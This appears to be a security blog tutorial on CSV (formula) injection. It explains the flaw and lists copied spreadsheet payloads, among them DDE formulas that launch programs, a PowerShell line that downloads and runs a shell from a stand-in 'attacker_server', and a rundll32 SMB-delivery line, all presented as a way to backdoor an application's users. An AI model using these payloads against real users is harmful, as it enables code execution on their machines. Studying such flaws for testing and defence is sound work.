CSV Injection

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CSV injection AKA formula injection happens when user supplied data is embedded into a spread sheet without stripping excel formulas. Some applications allow users to export data to a CSV file which is downloaded. If done improperly this functionality could introduce a CSV injection vulnerability.

It should be noted that people have mixed feelings about this vulnerability . Some people believe that its a low severity issue while others classify it as a high. I would personally put it at a medium because it doesn’t impact the application only the end users system and it requires users to interact with a CSV file. You should also know that most bug bounty programs will consider his out of scope. However, this is still a really neat vulnerability that a lot of people don’t know exists.

Excel Formulas

Many of us are familiar with Excel spread sheets. You might also know that Excel can make use of things called formulas. For instance the following formula will add two numbers:


As you can see the formula “=2+2” displays the number 4. Formulas can be used to do all kinds of things. You can even use formulas to execute programs on your computer.

CSV Injection

Suppose an application allows admins to export a list of users or comments to a CSV file. To test for CSV injection we could create a user or comment that has an Excel formula as its value. If the formula gets embedded into the spread sheet then we have a vulnerability.

Simply injecting a formula that adds two numbers is no fun, like I said early we can execute programs instead. The following payloads can be used to execute programs, they were taken from (“https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection“):

# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\\3\2\1.dll,0'!_xlbgnm.A1

As you can see we can use the above payloads to execute our backdoor. This becomes even better when combined with DDE. This vulnerability may not impact the targets application but we could use it to go after the applications users.


CSV injection is a neat vulnerability that many people arnt looking for. I constantly see applications vulnerable to this flaw. Some organizations don’t treat this as a vulnerability because it falls on the end users not the company. Regardless this is still a neat vulnerability that you should be looking for.

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